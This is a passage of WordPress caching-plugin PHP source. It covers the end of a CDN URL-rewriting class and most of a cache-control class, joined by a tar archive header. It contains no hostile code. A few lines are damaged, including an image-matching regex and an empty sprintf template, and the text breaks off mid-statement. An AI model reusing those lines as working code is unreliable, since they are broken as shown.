$this->_cfg_ori_dir[] = UPLOADS; } // Check if need preg_replace $this->_cfg_url_ori = Utility::wildcard2regex( $this->_cfg_url_ori ); $this->_cfg_cdn_exclude = $this->conf( Base::O_CDN_EXC ); if ( ! empty( $this->_cfg_cdn_mapping[ Base::CDN_MAPPING_INC_IMG ] ) ) { // Hook to srcset if ( function_exists( 'wp_calculate_image_srcset' ) ) { add_filter( 'wp_calculate_image_srcset', [ $this, 'srcset' ], 999 ); } // Hook to mime icon add_filter( 'wp_get_attachment_image_src', [ $this, 'attach_img_src' ], 999 ); add_filter( 'wp_get_attachment_url', [ $this, 'url_img' ], 999 ); } if ( ! empty( $this->_cfg_cdn_mapping[ Base::CDN_MAPPING_INC_CSS ] ) ) { add_filter( 'style_loader_src', [ $this, 'url_css' ], 999 ); } if ( ! empty( $this->_cfg_cdn_mapping[ Base::CDN_MAPPING_INC_JS ] ) ) { add_filter( 'script_loader_src', [ $this, 'url_js' ], 999 ); } add_filter( 'litespeed_buffer_finalize', [ $this, 'finalize' ], 30 ); } /** * Associate all filetypes with CDN URL. * * @since 2.0 * @access private * * @param string $filetype Mapping key (e.g., extension or mapping constant). * @param string $url CDN base URL to use for this mapping. * @return void */ private function _append_cdn_mapping( $filetype, $url ) { // If filetype to url is one to many, make url be an array if ( empty( $this->_cfg_cdn_mapping[ $filetype ] ) ) { $this->_cfg_cdn_mapping[ $filetype ] = $url; } elseif ( is_array( $this->_cfg_cdn_mapping[ $filetype ] ) ) { // Append url to filetype $this->_cfg_cdn_mapping[ $filetype ][] = $url; } else { // Convert _cfg_cdn_mapping from string to array $this->_cfg_cdn_mapping[ $filetype ] = [ $this->_cfg_cdn_mapping[ $filetype ], $url ]; } } /** * Whether the given type is included in CDN mappings. * * @since 1.6.2.1 * * @param string $type 'css' or 'js'. * @return bool True if included in CDN. */ public function inc_type( $type ) { if ( 'css' === $type && ! empty( $this->_cfg_cdn_mapping[ Base::CDN_MAPPING_INC_CSS ] ) ) { return true; } if ( 'js' === $type && ! empty( $this->_cfg_cdn_mapping[ Base::CDN_MAPPING_INC_JS ] ) ) { return true; } return false; } /** * Run CDN processing on finalized buffer. * NOTE: After cache finalized, cannot change cache control. * * @since 1.2.3 * @access public * * @param string $content The HTML/content buffer. * @return string The processed content. */ public function finalize( $content ) { $this->content = $content; $this->_finalize(); return $this->content; } /** * Replace eligible URLs with CDN URLs in the working buffer. * * @since 1.2.3 * @access private * @return void */ private function _finalize() { if ( defined( self::BYPASS ) ) { return; } self::debug( 'CDN _finalize' ); // Start replacing img src if ( ! empty( $this->_cfg_cdn_mapping[ Base::CDN_MAPPING_INC_IMG ] ) ) { $this->_replace_img(); $this->_replace_inline_css(); } if ( ! empty( $this->_cfg_cdn_mapping[ Base::CDN_MAPPING_FILETYPE ] ) ) { $this->_replace_file_types(); } } /** * Parse all file types and replace according to configured attributes. * * @since 1.2.3 * @access private * @return void */ private function _replace_file_types() { $ele_to_check = $this->conf( Base::O_CDN_ATTR ); foreach ( $ele_to_check as $v ) { if ( ! $v || false === strpos( $v, '.' ) ) { self::debug2( 'replace setting bypassed: no . attribute ' . $v ); continue; } self::debug2( 'replace attribute ' . $v ); $v = explode( '.', $v ); $attr = preg_quote( $v[1], '#' ); if ( $v[0] ) { $pattern = '#<' . preg_quote( $v[0], '#' ) . '([^>]+)' . $attr . '=([\'"])(.+)\g{2}#iU'; } else { $pattern = '# ' . $attr . '=([\'"])(.+)\g{1}#iU'; } preg_match_all( $pattern, $this->content, $matches ); if (empty($matches[$v[0] ? 3 : 2])) { continue; } foreach ($matches[$v[0] ? 3 : 2] as $k2 => $url) { // self::debug2( 'check ' . $url ); $postfix = '.' . pathinfo((string) wp_parse_url($url, PHP_URL_PATH), PATHINFO_EXTENSION); if (!array_key_exists($postfix, $this->_cfg_cdn_mapping)) { // self::debug2( 'non-existed postfix ' . $postfix ); continue; } self::debug2( 'matched file_type ' . $postfix . ' : ' . $url ); $url2 = $this->rewrite( $url, Base::CDN_MAPPING_FILETYPE, $postfix ); if ( ! $url2 ) { continue; } $attr_str = str_replace( $url, $url2, $matches[0][ $k2 ] ); $this->content = str_replace( $matches[0][ $k2 ], $attr_str, $this->content ); } } } /** * Parse all images and replace their src attributes. * * @since 1.2.3 * @access private * @return void */ private function _replace_img() { preg_match_all( '#]+?)src=([\'"\\\]*)([^\'"\s\\\>]+)([\'"\\\]*)([^>]*)>#i', $this->content, $matches ); foreach ( $matches[3] as $k => $url ) { // Check if is a DATA-URI if ( false !== strpos( $url, 'data:image' ) ) { continue; } $url2 = $this->rewrite( $url, Base::CDN_MAPPING_INC_IMG ); if ( ! $url2 ) { continue; } $html_snippet = sprintf( '', $matches[1][ $k ], $matches[2][ $k ] . $url2 . $matches[4][ $k ], $matches[5][ $k ] ); $this->content = str_replace( $matches[0][ $k ], $html_snippet, $this->content ); } } /** * Parse and replace all inline styles containing url(). * * @since 1.2.3 * @access private * @return void */ private function _replace_inline_css() { self::debug2( '_replace_inline_css', $this->_cfg_cdn_mapping ); /** * Excludes `\` from URL matching * * @see #959152 - WordPress LSCache CDN Mapping causing malformed URLS * @see #685485 * @since 3.0 */ preg_match_all( '/url\((?![\'"]?data)[\'"]?(.+?)[\'"]?\)/i', $this->content, $matches ); foreach ( $matches[1] as $k => $url ) { $url = str_replace( [ ' ', '\t', '\n', '\r', '\0', '\x0B', '"', "'", '"', ''' ], '', $url ); // Parse file postfix $parsed_url = wp_parse_url( $url, PHP_URL_PATH ); if ( ! $parsed_url ) { continue; } $postfix = '.' . pathinfo( $parsed_url, PATHINFO_EXTENSION ); if ( array_key_exists( $postfix, $this->_cfg_cdn_mapping ) ) { self::debug2( 'matched file_type ' . $postfix . ' : ' . $url ); $url2 = $this->rewrite( $url, Base::CDN_MAPPING_FILETYPE, $postfix ); if ( ! $url2 ) { continue; } } elseif ( in_array( $postfix, [ 'jpg', 'jpeg', 'png', 'gif', 'svg', 'webp', 'avif' ], true ) ) { $url2 = $this->rewrite( $url, Base::CDN_MAPPING_INC_IMG ); if ( ! $url2 ) { continue; } } else { continue; } $attr = str_replace( $matches[1][ $k ], $url2, $matches[0][ $k ] ); $this->content = str_replace( $matches[0][ $k ], $attr, $this->content ); } self::debug2( '_replace_inline_css done' ); } /** * Filter: wp_get_attachment_image_src. * * @since 1.2.3 * @since 1.7 Removed static from function. * @access public * * @param array{0:string,1:int,2:int} $img The URL of the attachment image src, the width, the height. * @return array{0:string,1:int,2:int} */ public function attach_img_src( $img ) { if ( $img ) { $url = $this->rewrite( $img[0], Base::CDN_MAPPING_INC_IMG ); if ( $url ) { $img[0] = $url; } } return $img; } /** * Try to rewrite one image URL with CDN. * * @since 1.7 * @access public * * @param string $url Original URL. * @return string URL after rewriting, or original if not applicable. */ public function url_img( $url ) { if ( $url ) { $url2 = $this->rewrite( $url, Base::CDN_MAPPING_INC_IMG ); if ( $url2 ) { $url = $url2; } } return $url; } /** * Try to rewrite one CSS URL with CDN. * * @since 1.7 * @access public * * @param string $url Original URL. * @return string URL after rewriting, or original if not applicable. */ public function url_css( $url ) { if ( $url ) { $url2 = $this->rewrite( $url, Base::CDN_MAPPING_INC_CSS ); if ( $url2 ) { $url = $url2; } } return $url; } /** * Try to rewrite one JS URL with CDN. * * @since 1.7 * @access public * * @param string $url Original URL. * @return string URL after rewriting, or original if not applicable. */ public function url_js( $url ) { if ( $url ) { $url2 = $this->rewrite( $url, Base::CDN_MAPPING_INC_JS ); if ( $url2 ) { $url = $url2; } } return $url; } /** * Filter responsive image sources for CDN. * * @since 1.2.3 * @since 1.7 Removed static from function. * @access public * * @param array $srcs Srcset array. * @return array */ public function srcset( $srcs ) { if ( $srcs ) { foreach ( $srcs as $w => $data ) { $url = $this->rewrite( $data['url'], Base::CDN_MAPPING_INC_IMG ); if ( ! $url ) { continue; } $srcs[ $w ]['url'] = $url; } } return $srcs; } /** * Replace an URL with mapped CDN URL, if applicable. * * @since 1.2.3 * @access public * * @param string $url Target URL. * @param string $mapping_kind Mapping kind (e.g., Base::CDN_MAPPING_INC_IMG or Base::CDN_MAPPING_FILETYPE). * @param string|false $postfix File extension (with dot) when mapping by file type. * @return string|false Replaced URL on success, false when not applicable. */ public function rewrite( $url, $mapping_kind, $postfix = false ) { self::debug2( 'rewrite ' . $url ); $url_parsed = wp_parse_url( $url ); if ( empty( $url_parsed['path'] ) ) { self::debug2( '-rewrite bypassed: no path' ); return false; } // Only images under wp-content/wp-includes can be replaced $is_internal_folder = Utility::str_hit_array( $url_parsed['path'], $this->_cfg_ori_dir ); if ( ! $is_internal_folder ) { self::debug2( '-rewrite failed: path not match: ' . LSCWP_CONTENT_FOLDER ); return false; } // Check if is external url if ( ! empty( $url_parsed['host'] ) ) { if ( ! Utility::internal( $url_parsed['host'] ) && ! $this->_is_ori_url( $url ) ) { self::debug2( '-rewrite failed: host not internal' ); return false; } } $exclude = Utility::str_hit_array( $url, $this->_cfg_cdn_exclude ); if ( $exclude ) { self::debug2( '-abort excludes ' . $exclude ); return false; } // Fill full url before replacement if ( empty( $url_parsed['host'] ) ) { $url = Utility::uri2url( $url ); self::debug2( '-fill before rewritten: ' . $url ); $url_parsed = wp_parse_url( $url ); } $scheme = ! empty( $url_parsed['scheme'] ) ? $url_parsed['scheme'] . ':' : ''; // Find the mapping url to be replaced to if ( empty( $this->_cfg_cdn_mapping[ $mapping_kind ] ) ) { return false; } if ( Base::CDN_MAPPING_FILETYPE !== $mapping_kind ) { $final_url = $this->_cfg_cdn_mapping[ $mapping_kind ]; } else { // select from file type $final_url = $this->_cfg_cdn_mapping[ $postfix ]; if ( ! $final_url ) { return false; } } // If filetype to url is one to many, need to random one if ( is_array( $final_url ) ) { $final_url = $final_url[ array_rand( $final_url ) ]; } // Now lets replace CDN url foreach ( $this->_cfg_url_ori as $v ) { if ( false !== strpos( $v, '*' ) ) { $url = preg_replace( '#' . $scheme . $v . '#iU', $final_url, $url ); } else { $url = str_replace( $scheme . $v, $final_url, $url ); } } self::debug2( '-rewritten: ' . $url ); return $url; } /** * Check if the given URL matches any configured "original" URLs for CDN. * * @since 2.1 * @access private * * @param string $url URL to test. * @return bool True if URL is one of the originals. */ private function _is_ori_url( $url ) { $url_parsed = wp_parse_url( $url ); $scheme = ! empty( $url_parsed['scheme'] ) ? $url_parsed['scheme'] . ':' : ''; foreach ( $this->_cfg_url_ori as $v ) { $needle = $scheme . $v; if ( false !== strpos( $v, '*' ) ) { if ( preg_match( '#' . $needle . '#iU', $url ) ) { return true; } } elseif ( 0 === strpos( $url, $needle ) ) { return true; } } return false; } /** * Check if the host is one of the CDN mapping hosts. * * @since 1.2.3 * * @param string $host Hostname to check. * @return bool False when bypassed, otherwise true if internal CDN host. */ public static function internal( $host ) { if ( defined( self::BYPASS ) ) { return false; } $instance = self::cls(); return in_array( $host, $instance->cdn_mapping_hosts, true ); // todo: can add $this->_is_ori_url() check in future } } control.cls.php000064400000060545152077520270007536 0ustar00 */ private $_response_header_ttls = []; /** * Init cache control. * * @since 1.6.2 * @return void */ public function init() { /** * Add vary filter for Role Excludes. * * @since 1.6.2 */ add_filter( 'litespeed_vary', [ $this, 'vary_add_role_exclude' ] ); // 301 redirect hook. add_filter( 'wp_redirect', [ $this, 'check_redirect' ], 10, 2 ); // Load response header conf. $this->_response_header_ttls = $this->conf( Base::O_CACHE_TTL_STATUS ); foreach ( $this->_response_header_ttls as $k => $v ) { $v = explode( ' ', $v ); if ( empty( $v[0] ) || empty( $v[1] ) ) { continue; } $this->_response_header_ttls[ $v[0] ] = $v[1]; } if ( $this->conf( Base::O_PURGE_STALE ) ) { $this->set_stale(); } } /** * Exclude role from optimization filter. * * @since 1.6.2 * @access public * * @param array $vary Existing vary map. * @return array */ public function vary_add_role_exclude( $vary ) { if ( $this->in_cache_exc_roles() ) { $vary['role_exclude_cache'] = 1; } return $vary; } /** * Check if one user role is in exclude cache group settings. * * @since 1.6.2 * @since 3.0 Moved here from conf.cls * @access public * * @param string|null $role The user role. * @return string|false Comma-separated roles if set, otherwise false. */ public function in_cache_exc_roles( $role = null ) { // Get user role. if ( null === $role ) { $role = Router::get_role(); } if ( ! $role ) { return false; } $roles = explode( ',', $role ); $found = array_intersect( $roles, $this->conf( Base::O_CACHE_EXC_ROLES ) ); return $found ? implode( ',', $found ) : false; } /** * 1. Initialize cacheable status for `wp` hook * 2. Hook error page tags for cacheable pages * * @since 1.1.3 * @access public * @return void */ public function init_cacheable() { // Hook `wp` to mark default cacheable status. // NOTE: Any process that does NOT run into `wp` hook will not get cacheable by default. add_action( 'wp', [ $this, 'set_cacheable' ], 5 ); // Hook WP REST to be cacheable. if ( $this->conf( Base::O_CACHE_REST ) ) { add_action( 'rest_api_init', [ $this, 'set_cacheable' ], 5 ); } // AJAX cache. $ajax_cache = $this->conf( Base::O_CACHE_AJAX_TTL ); foreach ( $ajax_cache as $v ) { $v = explode( ' ', $v ); if ( empty( $v[0] ) || empty( $v[1] ) ) { continue; } add_action( 'wp_ajax_nopriv_' . $v[0], function () use ( $v ) { self::set_custom_ttl( $v[1] ); self::force_cacheable( 'ajax Cache setting for action ' . $v[0] ); }, 4 ); } // Check error page. add_filter( 'status_header', [ $this, 'check_error_codes' ], 10, 2 ); } /** * Check if the page returns any error code. * * @since 1.0.13.1 * @access public * * @param string $status_header Status header. * @param int $code HTTP status code. * @return string Original status header. */ public function check_error_codes( $status_header, $code ) { if ( array_key_exists( $code, $this->_response_header_ttls ) ) { if ( self::is_cacheable() && ! $this->_response_header_ttls[ $code ] ) { self::set_nocache( '[Ctrl] TTL is set to no cache [status_header] ' . $code ); } // Set TTL. self::set_custom_ttl( $this->_response_header_ttls[ $code ] ); } elseif ( self::is_cacheable() ) { $first = substr( $code, 0, 1 ); if ( '4' === $first || '5' === $first ) { self::set_nocache( '[Ctrl] 4xx/5xx default to no cache [status_header] ' . $code ); } } // Set cache tag. if ( in_array( $code, Tag::$error_code_tags, true ) ) { Tag::add( Tag::TYPE_HTTP . $code ); } // Give the default status_header back. return $status_header; } /** * Set no vary setting. * * @access public * @since 1.1.3 * @return void */ public static function set_no_vary() { if ( self::is_no_vary() ) { return; } self::$_control |= self::BM_NO_VARY; self::debug( 'X Cache_control -> no-vary', 3 ); } /** * Get no vary setting. * * @access public * @since 1.1.3 * @return bool */ public static function is_no_vary() { return self::$_control & self::BM_NO_VARY; } /** * Set stale. * * @access public * @since 1.1.3 * @return void */ public function set_stale() { if ( self::is_stale() ) { return; } self::$_control |= self::BM_STALE; self::debug( 'X Cache_control -> stale' ); } /** * Get stale. * * @access public * @since 1.1.3 * @return bool */ public static function is_stale() { return self::$_control & self::BM_STALE; } /** * Set cache control to shared private. * * @access public * @since 1.1.3 * * @param string|false $reason The reason to mark shared, or false. * @return void */ public static function set_shared( $reason = false ) { if ( self::is_shared() ) { return; } self::$_control |= self::BM_SHARED; self::set_private(); if ( ! is_string( $reason ) ) { $reason = false; } if ( $reason ) { $reason = "( $reason )"; } self::debug( 'X Cache_control -> shared ' . $reason ); } /** * Check if is shared private. * * @access public * @since 1.1.3 * @return bool */ public static function is_shared() { return (bool) ( self::$_control & self::BM_SHARED ) && self::is_private(); } /** * Set cache control to forced public. * * @access public * @since 1.7.1 * * @param string|false $reason Reason text or false. * @return void */ public static function set_public_forced( $reason = false ) { if ( self::is_public_forced() ) { return; } self::$_control |= self::BM_PUBLIC_FORCED; if ( ! is_string( $reason ) ) { $reason = false; } if ( $reason ) { $reason = "( $reason )"; } self::debug( 'X Cache_control -> public forced ' . $reason ); } /** * Check if is public forced. * * @access public * @since 1.7.1 * @return bool */ public static function is_public_forced() { return self::$_control & self::BM_PUBLIC_FORCED; } /** * Set cache control to private. * * @access public * @since 1.1.3 * * @param string|false $reason The reason to set private. * @return void */ public static function set_private( $reason = false ) { if ( self::is_private() ) { return; } self::$_control |= self::BM_PRIVATE; if ( ! is_string( $reason ) ) { $reason = false; } if ( $reason ) { $reason = "( $reason )"; } self::debug( 'X Cache_control -> private ' . $reason ); } /** * Check if is private. * * @access public * @since 1.1.3 * @return bool */ public static function is_private() { // if ( defined( 'LITESPEED_GUEST' ) && LITESPEED_GUEST ) { // return false; // } return (bool) ( self::$_control & self::BM_PRIVATE ) && ! self::is_public_forced(); } /** * Initialize cacheable status in `wp` hook, if not call this, by default it will be non-cacheable. * * @access public * @since 1.1.3 * * @param string|false $reason Reason text or false. * @return void */ public function set_cacheable( $reason = false ) { self::$_control |= self::BM_CACHEABLE; if ( ! is_string( $reason ) ) { $reason = false; } if ( $reason ) { $reason = ' [reason] ' . $reason; } self::debug( 'Cache_control init on' . $reason ); } /** * This will disable non-cacheable BM. * * @access public * @since 2.2 * * @param string|false $reason Reason text or false. * @return void */ public static function force_cacheable( $reason = false ) { self::$_control |= self::BM_FORCED_CACHEABLE; if ( ! is_string( $reason ) ) { $reason = false; } if ( $reason ) { $reason = ' [reason] ' . $reason; } self::debug( 'Forced cacheable' . $reason ); } /** * Switch to nocacheable status. * * @access public * @since 1.1.3 * * @param string|false $reason The reason to no cache. * @return void */ public static function set_nocache( $reason = false ) { self::$_control |= self::BM_NOTCACHEABLE; if ( ! is_string( $reason ) ) { $reason = false; } if ( $reason ) { $reason = "( $reason )"; } self::debug( 'X Cache_control -> no Cache ' . $reason, 5 ); } /** * Check current notcacheable bit set. * * @access public * @since 1.1.3 * @return bool True if notcacheable bit is set, otherwise false. */ public static function isset_notcacheable() { return self::$_control & self::BM_NOTCACHEABLE; } /** * Check current force cacheable bit set. * * @access public * @since 2.2 * @return bool */ public static function is_forced_cacheable() { return self::$_control & self::BM_FORCED_CACHEABLE; } /** * Check current cacheable status. * * @access public * @since 1.1.3 * @return bool True if is still cacheable, otherwise false. */ public static function is_cacheable() { if ( defined( 'LSCACHE_NO_CACHE' ) && LSCACHE_NO_CACHE ) { self::debug( 'LSCACHE_NO_CACHE constant defined' ); return false; } // Guest mode always cacheable // if ( defined( 'LITESPEED_GUEST' ) && LITESPEED_GUEST ) { // return true; // } // If it's forced public cacheable. if ( self::is_public_forced() ) { return true; } // If it's forced cacheable. if ( self::is_forced_cacheable() ) { return true; } return ! self::isset_notcacheable() && ( self::$_control & self::BM_CACHEABLE ); } /** * Set a custom TTL to use with the request if needed. * * @access public * @since 1.1.3 * * @param int|string $ttl An integer or numeric string to use as the TTL. * @param string|false $reason Optional reason text. * @return void */ public static function set_custom_ttl( $ttl, $reason = false ) { if ( is_numeric( $ttl ) ) { self::$_custom_ttl = (int) $ttl; self::debug( 'X Cache_control TTL -> ' . $ttl . ( $reason ? ' [reason] ' . $ttl : '' ) ); } } /** * Generate final TTL. * * @access public * @since 1.1.3 * @return int */ public function get_ttl() { if ( 0 !== self::$_custom_ttl ) { return (int) self::$_custom_ttl; } // Check if is in timed url list or not. $timed_urls = Utility::wildcard2regex( $this->conf( Base::O_PURGE_TIMED_URLS ) ); $timed_urls_time = $this->conf( Base::O_PURGE_TIMED_URLS_TIME ); if ( $timed_urls && $timed_urls_time ) { $current_url = Tag::build_uri_tag( true ); // Use time limit ttl. $scheduled_time = strtotime( $timed_urls_time ); $ttl = $scheduled_time - current_time('timestamp'); // phpcs:ignore WordPress.DateTime.CurrentTimeTimestamp if ( $ttl < 0 ) { $ttl += 86400; // add one day } foreach ( $timed_urls as $v ) { if ( false !== strpos( $v, '*' ) ) { if ( preg_match( '#' . $v . '#iU', $current_url ) ) { self::debug( 'X Cache_control TTL is limited to ' . $ttl . ' due to scheduled purge regex ' . $v ); return $ttl; } } elseif ( $v === $current_url ) { self::debug( 'X Cache_control TTL is limited to ' . $ttl . ' due to scheduled purge rule ' . $v ); return $ttl; } } } // Private cache uses private ttl setting. if ( self::is_private() ) { return (int) $this->conf( Base::O_CACHE_TTL_PRIV ); } if ( is_front_page() ) { return (int) $this->conf( Base::O_CACHE_TTL_FRONTPAGE ); } $feed_ttl = (int) $this->conf( Base::O_CACHE_TTL_FEED ); if ( is_feed() && $feed_ttl > 0 ) { return $feed_ttl; } if ( $this->cls( 'REST' )->is_rest() || $this->cls( 'REST' )->is_internal_rest() ) { return (int) $this->conf( Base::O_CACHE_TTL_REST ); } return (int) $this->conf( Base::O_CACHE_TTL_PUB ); } /** * Check if need to set no cache status for redirection or not. * * @access public * @since 1.1.3 * * @param string $location Redirect location. * @param int $status HTTP status. * @return string Redirect location. */ public function check_redirect( $location, $status ) { $script_uri = ''; if ( !empty( $_SERVER['SCRIPT_URI'] ) ) { $script_uri = sanitize_text_field( wp_unslash( $_SERVER['SCRIPT_URI'] ) ); } elseif ( !empty( $_SERVER['REQUEST_URI'] ) ) { $home = trailingslashit( home_url() ); $script_uri = $home . ltrim( sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ), '/' ); } if ( '' !== $script_uri ) { self::debug( '301 from ' . $script_uri ); self::debug( '301 to ' . $location ); $to_check = [ PHP_URL_SCHEME, PHP_URL_HOST, PHP_URL_PATH, PHP_URL_QUERY ]; $is_same_redirect = true; $query_string = ! empty( $_SERVER['QUERY_STRING'] ) ? sanitize_text_field( wp_unslash( $_SERVER['QUERY_STRING'] ) ) : ''; foreach ( $to_check as $v ) { $url_parsed = PHP_URL_QUERY === $v ? $query_string : wp_parse_url( $script_uri, $v ); $target = wp_parse_url( $location, $v ); self::debug( 'Compare [from] ' . $url_parsed . ' [to] ' . $target ); if ( PHP_URL_QUERY === $v ) { $url_parsed = $url_parsed ? urldecode( $url_parsed ) : ''; $target = $target ? urldecode( $target ) : ''; if ( '&' === substr( $url_parsed, -1 ) ) { $url_parsed = substr( $url_parsed, 0, -1 ); } } if ( $url_parsed !== $target ) { $is_same_redirect = false; self::debug( '301 different redirection' ); break; } } if ( $is_same_redirect ) { self::set_nocache( '301 to same url' ); } } return $location; } /** * Sets up the Cache Control header. * * @since 1.1.3 * @access public * @return string empty string if empty, otherwise the cache control header. */ public function output() { $esi_hdr = ''; if ( ESI::has_esi() ) { $esi_hdr = ',esi=on'; } $hdr = self::X_HEADER . ': '; // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase if ( defined( 'DONOTCACHEPAGE' ) && apply_filters( 'litespeed_const_DONOTCACHEPAGE', DONOTCACHEPAGE ) ) { self::debug( '❌ forced no cache [reason] DONOTCACHEPAGE const' ); $hdr .= 'no-cache' . $esi_hdr; return $hdr; } // Guest mode directly return cacheable result // if ( defined( 'LITESPEED_GUEST' ) && LITESPEED_GUEST ) { // If is POST, no cache // if ( defined( 'LSCACHE_NO_CACHE' ) && LSCACHE_NO_CACHE ) { // self::debug( "[Ctrl] ❌ forced no cache [reason] LSCACHE_NO_CACHE const" ); // $hdr .= 'no-cache'; // } // else if( $_SERVER[ 'REQUEST_METHOD' ] !== 'GET' ) { // self::debug( "[Ctrl] ❌ forced no cache [reason] req not GET" ); // $hdr .= 'no-cache'; // } // else { // $hdr .= 'public'; // $hdr .= ',max-age=' . $this->get_ttl(); // } // $hdr .= $esi_hdr; // return $hdr; // } // Fix cli `uninstall --deactivate` fatal err if (!self::is_cacheable()) { $hdr .= 'no-cache' . $esi_hdr; return $hdr; } if ( self::is_shared() ) { $hdr .= 'shared,private'; } elseif ( self::is_private() ) { $hdr .= 'private'; } else { $hdr .= 'public'; } if ( self::is_no_vary() ) { $hdr .= ',no-vary'; } $hdr .= ',max-age=' . $this->get_ttl() . $esi_hdr; return $hdr; } /** * Generate all `control` tags before output. * * @access public * @since 1.1.3 * @return void */ public function finalize() { // if ( defined( 'LITESPEED_GUEST' ) && LITESPEED_GUEST ) { // return; // } if ( is_preview() ) { self::set_nocache( 'preview page' ); return; } // Check if has metabox non-cacheable setting or not. if ( file_exists( LSCWP_DIR . 'src/metabox.cls.php' ) && $this->cls( 'Metabox' )->setting( 'litespeed_no_cache' ) ) { self::set_nocache( 'per post metabox setting' ); return; } // Check if URI is forced public cache. $excludes = $this->conf( Base::O_CACHE_FORCE_PUB_URI ); $req_uri = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : ''; $hit = Utility::str_hit_array( $req_uri, $excludes, true ); if ( $hit ) { list( $result, $this_ttl ) = $hit; self::set_public_forced( 'Setting: ' . $result ); self::debug( 'Forced public cacheable due to setting: ' . $result ); if ( $this_ttl ) { self::set_custom_ttl( $this_ttl ); } } if ( self::is_public_forced() ) { return; } // Check if URI is forced cache. $excludes = $this->conf( Base::O_CACHE_FORCE_URI ); $hit = Utility::str_hit_array( $req_uri, $excludes, true ); if ( $hit ) { list( $result, $this_ttl ) = $hit; self::force_cacheable(); self::debug( 'Forced cacheable due to setting: ' . $result ); if ( $this_ttl ) { self::set_custom_ttl( $this_ttl ); } } // if is not cacheable, terminate check. // Even no need to run 3rd party hook. if ( ! self::is_cacheable() ) { self::debug( 'not cacheable before ctrl finalize' ); return; } // Apply 3rd party filter. // NOTE: Hook always needs to run asap because some 3rd party set is_mobile in this hook. do_action( 'litespeed_control_finalize', defined( 'LSCACHE_IS_ESI' ) ? LSCACHE_IS_ESI : false ); // Pass ESI block id. // if is not cacheable, terminate check. if ( ! self::is_cacheable() ) { self::debug( 'not cacheable after api_control' ); return; } // Check litespeed setting to set cacheable status. if ( ! $this->_setting_cacheable() ) { self::set_nocache(); return; } // If user has password cookie, do not cache (moved from vary). global $post; if ( ! empty( $post->post_password ) && isset( $_COOKIE[ 'wp-postpass_' . COOKIEHASH ] ) ) { self::set_nocache( 'pswd cookie' ); return; } // The following check to the end is ONLY for mobile. $is_mobile_conf = apply_filters( 'litespeed_is_mobile', false ); if ( ! $this->conf( Base::O_CACHE_MOBILE ) ) { if ( $is_mobile_conf ) { self::set_nocache( 'mobile' ); } return; } $env_vary = isset( $_SERVER['LSCACHE_VARY_VALUE'] ) ? sanitize_text_field( wp_unslash( $_SERVER['LSCACHE_VARY_VALUE'] ) ) : ''; if ( !$env_vary && isset( $_SERVER['HTTP_X_LSCACHE_VARY_VALUE'] ) ) { $env_vary = sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_LSCACHE_VARY_VALUE'] ) ); } if ( $env_vary && false !== strpos( $env_vary, 'ismobile' ) ) { if ( ! wp_is_mobile() && ! $is_mobile_conf ) { self::set_nocache( 'is not mobile' ); // todo: no need to uncache, it will correct vary value in vary finalize anyways. return; } } elseif ( wp_is_mobile() || $is_mobile_conf ) { self::set_nocache( 'is mobile' ); return; } } /** * Check if is mobile for filter `litespeed_is_mobile` in API. * * @since 3.0 * @access public * @return bool */ public static function is_mobile() { return wp_is_mobile(); } /** * Get request method w/ compatibility to X-Http-Method-Override. * * @since 6.2 * @return string */ private function _get_req_method() { if ( isset( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] ) ) { $override = sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] ) ); self::debug( 'X-Http-Method-Override -> ' . $override ); if ( ! defined( 'LITESPEED_X_HTTP_METHOD_OVERRIDE' ) ) { define( 'LITESPEED_X_HTTP_METHOD_OVERRIDE', true ); } return $override; } if ( isset( $_SERVER['REQUEST_METHOD'] ) ) { return sanitize_text_field( wp_unslash( $_SERVER['REQUEST_METHOD'] ) ); } return 'unknown'; } /** * Check if a page is cacheable based on litespeed setting. * * @since 1.0.0 * @access private * @return bool True if cacheable, false otherwise. */ private function _setting_cacheable() { // logged_in users already excluded, no hook added. // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( ! empty( $_REQUEST[ Router::ACTION ] ) ) { return $this->_no_cache_for( 'Query String Action' ); } $method = $this->_get_req_method(); if ( defined( 'LITESPEED_X_HTTP_METHOD_OVERRIDE' ) && LITESPEED_X_HTTP_METHOD_OVERRIDE && 'HEAD' === $method ) { return $this->_no_cache_for( 'HEAD method from override' ); } if ( 'GET' !== $method && 'HEAD' !== $method ) { return $this->_no_cache_for( 'Not GET method: ' . $method ); } if ( is_feed() && 0 === $this->conf( Base::O_CACHE_TTL_FEED ) ) { return $this->_no_cache_for( 'feed' ); } if ( is_trackback() ) { return $this->_no_cache_for( 'trackback' ); } if ( is_search() ) { return $this->_no_cache_for( 'search' ); } // Check private cache URI setting. $excludes = $this->conf( Base::O_CACHE_PRIV_URI ); $req_uri = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : ''; $result = Utility::str_hit_array( $req_uri, $excludes ); if ( $result ) { self::set_private( 'Admin cfg Private Cached URI: ' . $result ); } if ( ! self::is_forced_cacheable() ) { // Check if URI is excluded from cache. $excludes = $this->cls( 'Data' )->load_cache_nocacheable( $this->conf( Base::O_CACHE_EXC ) ); $result = Utility::str_hit_array( $req_uri, $excludes ); if ( $result ) { return $this->_no_cache_for( 'Admin configured URI Do not cache: ' . $result ); } // Check QS excluded setting. $excludes = $this->conf( Base::O_CACHE_EXC_QS ); $qs_hit = $this->_is_qs_excluded( $excludes ); if ( ! empty( $excludes ) && $qs_hit ) { return $this->_no_cache_for( 'Admin configured QS Do not cache: ' . $qs_hit ); } $excludes = $this->conf( Base::O_CACHE_EXC_CAT ); if ( ! empty( $excludes ) && has_category( $excludes ) ) { return $this->_no_cache_for( 'Admin configured Category Do not cache.' ); } $excludes = $this->conf( Base::O_CACHE_EXC_TAG ); if ( ! empty( $excludes ) && has_tag( $excludes ) ) { return $this->_no_cache_for( 'Admin configured Tag Do not cache.' ); } $excludes = $this->conf( Base::O_CACHE_EXC_COOKIES ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- names only, compared as keys. if ( ! empty( $excludes ) && ! empty( $_COOKIE ) ) { $cookie_hit = array_intersect( array_keys( $_COOKIE ), $excludes ); if ( $cookie_hit ) { return $this->_no_cache_for( 'Admin configured Cookie 